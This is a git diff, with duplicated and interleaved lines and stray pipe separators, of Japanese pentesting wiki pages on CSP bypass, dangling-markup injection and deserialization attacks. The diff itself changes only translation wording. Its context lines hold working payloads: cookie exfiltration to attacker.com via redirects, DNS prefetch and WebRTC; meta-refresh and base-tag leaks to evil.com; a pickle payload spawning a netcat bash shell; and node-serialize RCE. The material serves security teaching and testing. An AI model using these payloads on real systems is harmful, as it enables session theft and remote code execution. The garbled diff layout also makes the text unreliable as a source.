[**この書き込み**](https://blog.ssrf.kr/69)によると、エラーページ(CSPがない可能性がある)を読み込み、その内容を書き換えることでCSP保護をバイパスすることが可能だったようです。
|
||||||
```javascript
|
```javascript
|
||||||
a = window.open("/" + "x".repeat(4100))
|
a = window.open("/" + "x".repeat(4100))
|
||||||
setTimeout(function () {
|
setTimeout(function () {
|
||||||
@ -619,15 +619,15 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||||||
```
|
```
|
||||||
### SOME + 'self' + wordpress
|
### SOME + 'self' + wordpress
|
||||||
|
|
||||||
SOMEは、ページのエンドポイントでXSS(または非常に制限されたXSS)を悪用して、**同じオリジンの他のエンドポイントを悪用する**技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後、悪用したい同じオリジンの実際のエンドポイントに攻撃者のページをリフレッシュすることで行われます。この方法で、**脆弱なエンドポイント**は、**ペイロード**内の**`opener`**オブジェクトを使用して、**悪用する実際のエンドポイントのDOM**にアクセスできます。詳細については、次を確認してください:
|
SOMEは、**ページのエンドポイント**でXSS(または非常に制限されたXSS)を悪用して、**同じオリジンの他のエンドポイントを悪用する**技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後、悪用したい同じオリジンの実際のエンドポイントに攻撃者のページをリフレッシュすることで行われます。この方法で、**脆弱なエンドポイント**は、**ペイロード**内の**`opener`**オブジェクトを使用して、**悪用する実際のエンドポイントのDOM**に**アクセス**できます。詳細については、次を確認してください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
さらに、**wordpress**には`/wp-json/wp/v2/users/1?_jsonp=data`に**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します(文字、数字、ドットのみの制限があります)。
|
さらに、**wordpress**には、`/wp-json/wp/v2/users/1?_jsonp=data`に**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します(文字、数字、ドットのみの制限があります)。
|
||||||
|
|
||||||
攻撃者はそのエンドポイントを悪用して、WordPressに対して**SOME攻撃を生成**し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に**埋め込む**ことができます。この**スクリプト**は、**'self'によって許可されているため、**読み込まれます。さらに、WordPressがインストールされているため、攻撃者は**CSPをバイパスする**脆弱な**コールバック**エンドポイントを通じて**SOME攻撃を悪用**し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます...\
|
攻撃者は、そのエンドポイントを悪用して、WordPressに対して**SOME攻撃を生成**し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に**埋め込む**ことができます。この**スクリプト**は、**'self'によって許可されているため、**ロードされます。さらに、WordPressがインストールされているため、攻撃者は**CSPをバイパスする**脆弱な**コールバック**エンドポイントを通じて**SOME攻撃を悪用**し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます...\
|
||||||
この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。
|
この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。
|
||||||
|
|
||||||
## CSP Exfiltration Bypasses
|
## CSP Exfiltration Bypasses
|
||||||
@ -652,7 +652,7 @@ document.location = "https://attacker.com/?" + sessionid
|
|||||||
ページをより速く読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。\
|
ページをより速く読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。\
|
||||||
ブラウザにホスト名を事前解決させるには、次のように指定できます: `<link rel="dns-prefetch" href="something.com">`
|
ブラウザにホスト名を事前解決させるには、次のように指定できます: `<link rel="dns-prefetch" href="something.com">`
|
||||||
|
|
||||||
この動作を悪用して、**DNSリクエストを介して機密情報を流出させる**ことができます:
|
この動作を悪用して、**DNSリクエストを介して機密情報を漏洩させる**ことができます:
|
||||||
```javascript
|
```javascript
|
||||||
var sessionid = document.cookie.split("=")[1] + "."
|
var sessionid = document.cookie.split("=")[1] + "."
|
||||||
var body = document.getElementsByTagName("body")[0]
|
var body = document.getElementsByTagName("body")[0]
|
||||||
@ -678,9 +678,9 @@ X-DNS-Prefetch-Control: off
|
|||||||
|
|
||||||
### WebRTC
|
### WebRTC
|
||||||
|
|
||||||
いくつかのページで、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と読めます。
|
いくつかのページで、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と記載されています。
|
||||||
|
|
||||||
実際、_DNSリクエスト_を使用して情報を_リーク_することができます。このコードを確認してください:
|
実際、_DNSリクエスト_を使用して情報を_リーク_することができます。このコードを確認してください:
|
||||||
```javascript
|
```javascript
|
||||||
;(async () => {
|
;(async () => {
|
||||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||||
|
@ -17,7 +17,7 @@ script = document.createElement("script")
|
|||||||
script.src = "//example.com/csp.js"
|
script.src = "//example.com/csp.js"
|
||||||
window.frames[0].document.head.appendChild(script)
|
window.frames[0].document.head.appendChild(script)
|
||||||
```
|
```
|
||||||
### エラー経由
|
### エラーを通じて
|
||||||
|
|
||||||
同様に、テキストファイルや画像のようなエラー応答は、通常CSPヘッダーなしで提供され、X-Frame-Optionsを省略することがあります。エラーはiframe内で読み込むように誘発でき、次のアクションを可能にします:
|
同様に、テキストファイルや画像のようなエラー応答は、通常CSPヘッダーなしで提供され、X-Frame-Optionsを省略することがあります。エラーはiframe内で読み込むように誘発でき、次のアクションを可能にします:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -5,9 +5,9 @@
|
|||||||
## 概要
|
## 概要
|
||||||
|
|
||||||
この技術は、**HTMLインジェクションが見つかった場合**にユーザーから情報を抽出するために使用できます。これは、**[**XSS**](../xss-cross-site-scripting/)を悪用する方法が見つからない場合**に非常に便利で、**いくつかのHTMLタグを注入できる**場合に役立ちます。\
|
この技術は、**HTMLインジェクションが見つかった場合**にユーザーから情報を抽出するために使用できます。これは、**[**XSS**](../xss-cross-site-scripting/)を悪用する方法が見つからない場合**に非常に便利で、**いくつかのHTMLタグを注入できる**場合に役立ちます。\
|
||||||
また、HTML内に**秘密が平文で保存されている**場合に、それをクライアントから**エクスフィルトレート**したり、スクリプトの実行を誤解させたりするのにも役立ちます。
|
また、**秘密がHTML内に平文で保存されている**場合に、それをクライアントから**エクスフィルトレート**したり、スクリプトの実行を誤解させたりするのにも役立ちます。
|
||||||
|
|
||||||
ここでコメントされた複数の技術は、情報を予期しない方法(htmlタグ、CSS、httpメタタグ、フォーム、baseなど)でエクスフィルトレートすることによって、いくつかの**コンテンツセキュリティポリシー**を回避するために使用できます。
|
ここでコメントされているいくつかの技術は、情報を予期しない方法(HTMLタグ、CSS、HTTPメタタグ、フォーム、ベースなど)でエクスフィルトレートすることによって、いくつかの[**コンテンツセキュリティポリシー**](../content-security-policy-csp-bypass/)を回避するために使用できます。
|
||||||
|
|
||||||
## 主なアプリケーション
|
## 主なアプリケーション
|
||||||
|
|
||||||
@ -21,7 +21,7 @@
|
|||||||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||||||
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
||||||
```
|
```
|
||||||
注意してください、**Chromeは"<"または"\n"を含むHTTP URLをブロックします**。そのため、"ftp"のような他のプロトコルスキームを試すことができます。
|
注意してください **Chromeは"<"または"\n"を含むHTTP URLをブロックします** ので、"ftp"のような他のプロトコルスキームを試すことができます。
|
||||||
|
|
||||||
また、CSS `@import`を悪用することもできます(";"が見つかるまで全てのコードを送信します)。
|
また、CSS `@import`を悪用することもできます(";"が見つかるまで全てのコードを送信します)。
|
||||||
```html
|
```html
|
||||||
@ -32,7 +32,7 @@
|
|||||||
```html
|
```html
|
||||||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||||||
```
|
```
|
||||||
`<base` タグを挿入することもできます。すべての情報は引用が閉じられるまで送信されますが、いくつかのユーザー操作が必要です(ユーザーはリンクをクリックする必要があります。なぜなら、base タグがリンクが指すドメインを変更するからです):
|
`<base` タグを挿入することもできます。すべての情報は引用が閉じられるまで送信されますが、いくつかのユーザー操作が必要です(ユーザーはリンクをクリックする必要があります。なぜなら、base タグがリンクによって指されるドメインを変更するからです)。
|
||||||
```html
|
```html
|
||||||
<base target=' <--- Injected
|
<base target=' <--- Injected
|
||||||
steal me'<b>test</b>
|
steal me'<b>test</b>
|
||||||
@ -49,7 +49,7 @@ steal me'<b>test</b>
|
|||||||
|
|
||||||
### フォームの盗難 3
|
### フォームの盗難 3
|
||||||
|
|
||||||
ボタンは、属性 "formaction" を使用して、フォームの情報が送信されるURLを変更できます:
|
ボタンは、属性 "formaction" を使用して、フォームの情報が送信されるURLを変更できます。
|
||||||
```html
|
```html
|
||||||
<button name="xss" type="submit" formaction="https://google.com">
|
<button name="xss" type="submit" formaction="https://google.com">
|
||||||
I get consumed!
|
I get consumed!
|
||||||
@ -57,7 +57,7 @@ I get consumed!
|
|||||||
```
|
```
|
||||||
攻撃者はこれを使用して情報を盗むことができます。
|
攻撃者はこれを使用して情報を盗むことができます。
|
||||||
|
|
||||||
この攻撃の[**例をこの文書で見つけてください**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。
|
[**この攻撃の例をこの文書で見つけてください**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。
|
||||||
|
|
||||||
### プレーンテキストの秘密を盗む 2
|
### プレーンテキストの秘密を盗む 2
|
||||||
|
|
||||||
@ -73,7 +73,7 @@ I get consumed!
|
|||||||
```
|
```
|
||||||
### フォームパラメータインジェクション
|
### フォームパラメータインジェクション
|
||||||
|
|
||||||
フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行されるようにできます:
|
フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行されるようになります:
|
||||||
```html
|
```html
|
||||||
<form action="/change_settings.php">
|
<form action="/change_settings.php">
|
||||||
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
|
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
|
||||||
@ -101,8 +101,8 @@ I get consumed!
|
|||||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||||
<base target='
|
<base target='
|
||||||
```
|
```
|
||||||
注意してください、あなたは**犠牲者**に**リンクをクリック**させ、そのリンクが**あなたが制御するペイロード**に**リダイレクト**するようにします。また、**`base`**タグ内の**`target`**属性は次の単一引用符までの**HTMLコンテンツ**を含むことに注意してください。\
|
注意してください、あなたは**犠牲者**に**リンクをクリック**させ、そのリンクが**ペイロード**にリダイレクトされるようにします。また、**`base`**タグ内の**`target`**属性は次の単一引用符までの**HTMLコンテンツ**を含むことに注意してください。\
|
||||||
これにより、リンクがクリックされた場合の**`window.name`**の**値**はすべてその**HTMLコンテンツ**になります。したがって、あなたがリンクをクリックすることで犠牲者がアクセスしているページを**制御**しているため、その**`window.name`**にアクセスしてそのデータを**抽出**することができます。
|
これにより、リンクがクリックされた場合の**`window.name`**の**値**はすべてその**HTMLコンテンツ**になります。したがって、あなたがリンクをクリックすることで犠牲者がアクセスしているページを**制御**しているため、その**`window.name`**にアクセスし、そのデータを**抽出**することができます。
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
if(window.name) {
|
if(window.name) {
|
||||||
@ -111,7 +111,7 @@ new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponen
|
|||||||
```
|
```
|
||||||
### 誤解を招くスクリプトワークフロー 1 - HTML 名前空間攻撃
|
### 誤解を招くスクリプトワークフロー 1 - HTML 名前空間攻撃
|
||||||
|
|
||||||
HTML内に新しいタグを挿入し、次のタグを上書きするidを持たせ、スクリプトの流れに影響を与える値を設定します。この例では、情報が誰と共有されるかを選択しています:
|
HTML 内に新しいタグを挿入し、次のタグを上書きする id を持たせ、スクリプトの流れに影響を与える値を設定します。この例では、情報が誰と共有されるかを選択しています:
|
||||||
```html
|
```html
|
||||||
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
|
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
|
||||||
Share this status update with: ← Legitimate optional element of a dialog
|
Share this status update with: ← Legitimate optional element of a dialog
|
||||||
@ -122,7 +122,7 @@ document.getElementById('share_with').value; ... }
|
|||||||
```
|
```
|
||||||
### 誤解を招くスクリプトワークフロー 2 - スクリプトネームスペース攻撃
|
### 誤解を招くスクリプトワークフロー 2 - スクリプトネームスペース攻撃
|
||||||
|
|
||||||
HTMLタグを挿入することで、javascriptネームスペース内に変数を作成します。次に、この変数がアプリケーションのフローに影響を与えます:
|
HTMLタグを挿入することで、JavaScriptネームスペース内に変数を作成します。次に、この変数がアプリケーションのフローに影響を与えます:
|
||||||
```html
|
```html
|
||||||
<img id="is_public" /> ← Injected markup ... // Legitimate application code
|
<img id="is_public" /> ← Injected markup ... // Legitimate application code
|
||||||
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
|
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
|
||||||
@ -150,7 +150,7 @@ set_sharing({ ... })
|
|||||||
```
|
```
|
||||||
### Iframeの悪用
|
### Iframeの悪用
|
||||||
|
|
||||||
子文書は、クロスオリジンの状況でも親の`location`プロパティを表示および変更する能力を持っています。これにより、クライアントを任意のページにリダイレクトできる**iframe**内にスクリプトを埋め込むことが可能になります:
|
子ドキュメントは、クロスオリジンの状況でも親の`location`プロパティを表示および変更する能力を持っています。これにより、クライアントを任意のページにリダイレクトできる**iframe**内にスクリプトを埋め込むことが可能になります:
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<head></head>
|
<head></head>
|
||||||
@ -180,14 +180,14 @@ For more info check [https://portswigger.net/research/bypassing-csp-with-danglin
|
|||||||
|
|
||||||
### \<meta abuse
|
### \<meta abuse
|
||||||
|
|
||||||
**`meta http-equiv`** を使用して、Cookieを設定するなどの**いくつかのアクション**を実行できます: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` またはリダイレクトを実行することができます(この場合は5秒後): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
**`meta http-equiv`** を使用して、Cookieを設定するなどの **いくつかのアクション** を実行できます: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` またはリダイレクトを実行することができます(この場合は5秒後): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||||||
|
|
||||||
これは、**http-equiv** に関する **CSP** で**回避**できます( `Content-Security-Policy: default-src 'self';` または `Content-Security-Policy: http-equiv 'self';`)
|
これは **http-equiv** に関する **CSP** で **回避** できます( `Content-Security-Policy: default-src 'self';` または `Content-Security-Policy: http-equiv 'self';`)
|
||||||
|
|
||||||
### New \<portal HTML tag
|
### New \<portal HTML tag
|
||||||
|
|
||||||
\<portal タグの脆弱性に関する非常に**興味深い研究**を[こちら](https://research.securitum.com/security-analysis-of-portal-element/)で見つけることができます。\
|
\<portal タグの脆弱性に関する非常に **興味深い研究** を [こちら](https://research.securitum.com/security-analysis-of-portal-element/) で見つけることができます。\
|
||||||
この文書を書いている時点では、`chrome://flags/#enable-portals` でポータルタグを有効にする必要があります。そうしないと機能しません。
|
この文を書いている時点では、`chrome://flags/#enable-portals` でポータルタグを有効にする必要があります。そうしないと機能しません。
|
||||||
```html
|
```html
|
||||||
<portal src='https://attacker-server?
|
<portal src='https://attacker-server?
|
||||||
```
|
```
|
||||||
@ -197,7 +197,7 @@ HTMLにおける接続漏洩のすべての方法がDangling Markupに役立つ
|
|||||||
|
|
||||||
## SS-Leaks
|
## SS-Leaks
|
||||||
|
|
||||||
これは**dangling markupとXS-Leaksの** **ミックス**です。一方で、この脆弱性は**同じオリジン**のページに**HTMLを注入**することを可能にしますが、他方で、**HTMLを注入**できるページを直接**攻撃**するのではなく、**別のページ**を攻撃します。
|
これは**dangling markupとXS-Leaksの** **ミックス**です。一方で、この脆弱性は**同じオリジン**のページに**HTMLを注入**することを可能にしますが(JSではありません)、他方で、**HTMLを注入**できるページを直接**攻撃**するのではなく、**別のページ**を攻撃します。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ss-leaks.md
|
ss-leaks.md
|
||||||
|
@ -8,17 +8,17 @@
|
|||||||
|
|
||||||
**デシリアライズ**は、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。
|
**デシリアライズ**は、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。
|
||||||
|
|
||||||
デシリアライズは危険な場合があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こす可能性があるからです**。
|
デシリアライズは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こすことを許す可能性があるからです。**
|
||||||
|
|
||||||
## PHP
|
## PHP
|
||||||
|
|
||||||
PHPでは、シリアライズおよびデシリアライズプロセス中に特定のマジックメソッドが利用されます:
|
PHPでは、シリアライズおよびデシリアライズプロセス中に特定のマジックメソッドが利用されます:
|
||||||
|
|
||||||
- `__sleep`: オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズすべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。
|
- `__sleep`: オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズされるべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。
|
||||||
- `__wakeup`: オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。
|
- `__wakeup`: オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。
|
||||||
- `__unserialize`: このメソッドは、オブジェクトがデシリアライズされるときに`__wakeup`の代わりに呼び出されます。`__wakeup`に比べてデシリアライズプロセスに対するより多くの制御を提供します。
|
- `__unserialize`: このメソッドは、オブジェクトがデシリアライズされるときに`__wakeup`の代わりに呼び出されます。`__wakeup`に比べてデシリアライズプロセスに対する制御が強化されます。
|
||||||
- `__destruct`: このメソッドは、オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されます。通常、ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに使用されます。
|
- `__destruct`: このメソッドは、オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されます。通常、ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに使用されます。
|
||||||
- `__toString`: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取るためや、その中の関数呼び出しに基づいて他のタスクを実行するために使用でき、オブジェクトのテキスト表現を効果的に提供します。
|
- `__toString`: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取ったり、その中の関数呼び出しに基づいて他のタスクを実行するために使用でき、オブジェクトのテキスト表現を効果的に提供します。
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
class test {
|
class test {
|
||||||
@ -90,11 +90,11 @@ This is a test<br />
|
|||||||
> }
|
> }
|
||||||
> ```
|
> ```
|
||||||
|
|
||||||
説明された **PHPの例をこちらで読むことができます**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、こちら [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) またはこちら [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
説明された **PHPの例をここで読むことができます**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、ここ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) またはここ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||||
|
|
||||||
### PHP Deserial + Autoload Classes
|
### PHP Deserial + Autoload Classes
|
||||||
|
|
||||||
PHPのオートロード機能を悪用して、任意のphpファイルを読み込むことができます。
|
PHPのオートロード機能を悪用して、任意のPHPファイルを読み込むことができます。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
php-deserialization-+-autoload-classes.md
|
php-deserialization-+-autoload-classes.md
|
||||||
@ -119,7 +119,7 @@ $ser=serialize($o);
|
|||||||
|
|
||||||
[**PHPGGC**](https://github.com/ambionics/phpggc) は、PHP のデシリアライズを悪用するためのペイロードを生成するのに役立ちます。\
|
[**PHPGGC**](https://github.com/ambionics/phpggc) は、PHP のデシリアライズを悪用するためのペイロードを生成するのに役立ちます。\
|
||||||
アプリケーションのソースコード内でデシリアライズを悪用する方法を見つけられない場合もありますが、**外部 PHP 拡張のコードを悪用できるかもしれません。**\
|
アプリケーションのソースコード内でデシリアライズを悪用する方法を見つけられない場合もありますが、**外部 PHP 拡張のコードを悪用できるかもしれません。**\
|
||||||
ですので、可能であればサーバーの `phpinfo()` を確認し、**インターネットで検索**(さらには **PHPGGC** の **gadgets** も)して、悪用できる可能性のあるガジェットを探してください。
|
ですので、可能であれば、サーバーの `phpinfo()` を確認し、**インターネットで検索**(さらには **PHPGGC** の **gadgets** も)して、悪用できる可能性のあるガジェットを探してください。
|
||||||
|
|
||||||
### phar:// メタデータデシリアライズ
|
### phar:// メタデータデシリアライズ
|
||||||
|
|
||||||
@ -143,9 +143,9 @@ def __reduce__(self):
|
|||||||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||||
print(base64.b64encode(pickle.dumps(P())))
|
print(base64.b64encode(pickle.dumps(P())))
|
||||||
```
|
```
|
||||||
`print(base64.b64encode(pickle.dumps(P(),2)))`を使用して、Python3を実行している場合にPython2と互換性のあるオブジェクトを生成する前に、バイパステクニックを確認してください。
|
`print(base64.b64encode(pickle.dumps(P(),2)))`を使用して、python3を実行している場合にpython2と互換性のあるオブジェクトを生成する前に、バイパステクニックを確認してください。
|
||||||
|
|
||||||
**pickle jails**からの脱出に関する詳細情報は、以下を確認してください:
|
**pickle jail**からの脱出に関する詳細情報は、以下を確認してください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||||
@ -153,7 +153,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
|||||||
|
|
||||||
### Yaml **&** jsonpickle
|
### Yaml **&** jsonpickle
|
||||||
|
|
||||||
以下のページでは、Pythonライブラリの**安全でないデシリアライズを悪用する技術**を紹介し、**Pickle, PyYAML, jsonpickle, ruamel.yaml**のためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくっています:
|
以下のページでは、**yamlの安全でないデシリアライズを悪用する技術**を紹介し、**Pickle, PyYAML, jsonpickle, ruamel.yaml**のためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくっています:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
python-yaml-deserialization.md
|
python-yaml-deserialization.md
|
||||||
@ -170,7 +170,7 @@ python-yaml-deserialization.md
|
|||||||
### JSマジック関数
|
### JSマジック関数
|
||||||
|
|
||||||
JSは、オブジェクトを作成するためだけに実行される**"マジック"関数**を持っていませんが、**`toString`**、**`valueOf`**、**`toJSON`**のように、**直接呼び出さなくても頻繁に使用される関数**があります。\
|
JSは、オブジェクトを作成するためだけに実行される**"マジック"関数**を持っていませんが、**`toString`**、**`valueOf`**、**`toJSON`**のように、**直接呼び出さなくても頻繁に使用される関数**があります。\
|
||||||
デシリアライズを悪用する場合、これらの関数を**妥協して他のコードを実行**させることができれば、呼び出されたときに任意のコードを実行することができます。
|
デシリアライズを悪用する場合、これらの関数を**妥協して他のコードを実行**させることができれば、呼び出されたときに任意のコードを実行できます。
|
||||||
|
|
||||||
関数を直接呼び出さずに**"マジック"な方法**で呼び出すもう一つの方法は、**非同期関数**(プロミス)によって返されるオブジェクトを**妥協する**ことです。なぜなら、その**返されるオブジェクト**を**"then"という関数型のプロパティ**を持つ別の**プロミス**に**変換**すると、別のプロミスによって返されるだけで**実行される**からです。_詳細については_ [_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _を参照してください。_
|
関数を直接呼び出さずに**"マジック"な方法**で呼び出すもう一つの方法は、**非同期関数**(プロミス)によって返されるオブジェクトを**妥協する**ことです。なぜなら、その**返されるオブジェクト**を**"then"という関数型のプロパティ**を持つ別の**プロミス**に**変換**すると、別のプロミスによって返されるだけで**実行される**からです。_詳細については_ [_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _を参照してください。_
|
||||||
```javascript
|
```javascript
|
||||||
@ -223,7 +223,7 @@ console.log("Serialized: \n" + payload_serialized)
|
|||||||
```bash
|
```bash
|
||||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||||
```
|
```
|
||||||
例では、関数がシリアライズされると、`_$$ND_FUNC$$_` フラグがシリアライズされたオブジェクトに追加されることがわかります。
|
関数がシリアライズされると、シリアライズされたオブジェクトに `_$$ND_FUNC$$_` フラグが追加されることが例からわかります。
|
||||||
|
|
||||||
ファイル `node-serialize/lib/serialize.js` 内には、同じフラグとそのコードの使用方法が見つかります。
|
ファイル `node-serialize/lib/serialize.js` 内には、同じフラグとそのコードの使用方法が見つかります。
|
||||||
|
|
||||||
@ -231,10 +231,10 @@ console.log("Serialized: \n" + payload_serialized)
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
最後のコードのチャンクでわかるように、**フラグが見つかった場合**、`eval` が関数をデシリアライズするために使用されるので、基本的に **ユーザー入力が `eval` 関数内で使用されている**ことになります。
|
最後のコードのチャンクでわかるように、**フラグが見つかった場合**、`eval` が使用されて関数がデシリアライズされるため、基本的に **ユーザー入力が `eval` 関数内で使用されている**ことになります。
|
||||||
|
|
||||||
しかし、**関数をシリアライズするだけでは**、それを**実行することはありません**。なぜなら、コードの一部が**`y.rce`を呼び出す必要がある**からで、これは非常に**ありそうにありません**。\
|
しかし、**関数をシリアライズするだけでは**それを**実行することはありません**。なぜなら、コードの一部が**`y.rce`を呼び出す必要がある**からで、これは非常に**ありそうにありません**。\
|
||||||
それでも、**シリアライズされたオブジェクトを修正して**、**いくつかの括弧を追加する**ことで、オブジェクトがデシリアライズされるときにシリアライズされた関数を自動的に実行させることができます。\
|
それでも、シリアライズされたオブジェクトを**修正して**、**いくつかの括弧を追加する**ことで、オブジェクトがデシリアライズされるときにシリアライズされた関数を自動的に実行させることができます。\
|
||||||
次のコードのチャンクでは、**最後の括弧**と、`unserialize` 関数がどのように自動的にコードを実行するかに注意してください:
|
次のコードのチャンクでは、**最後の括弧**と、`unserialize` 関数がどのように自動的にコードを実行するかに注意してください:
|
||||||
```javascript
|
```javascript
|
||||||
var serialize = require("node-serialize")
|
var serialize = require("node-serialize")
|
||||||
@ -278,11 +278,11 @@ __js_function:
|
|||||||
}
|
}
|
||||||
funcster.deepDeserialize(desertest3)
|
funcster.deepDeserialize(desertest3)
|
||||||
```
|
```
|
||||||
**詳細については、[このソースを読む](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。
|
**詳細については、[このソースを読む](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。**
|
||||||
|
|
||||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||||
|
|
||||||
**serialize-javascript**パッケージは、シリアル化専用に設計されており、組み込みのデシリアル化機能はありません。ユーザーはデシリアル化のための独自のメソッドを実装する責任があります。シリアル化されたデータをデシリアル化するための公式の例では、`eval`の直接使用が推奨されています:
|
**serialize-javascript** パッケージは、シリアル化専用に設計されており、組み込みのデシリアル化機能はありません。ユーザーはデシリアル化のための独自のメソッドを実装する責任があります。シリアル化されたデータをデシリアル化するための公式の例では、`eval` の直接使用が推奨されています:
|
||||||
```javascript
|
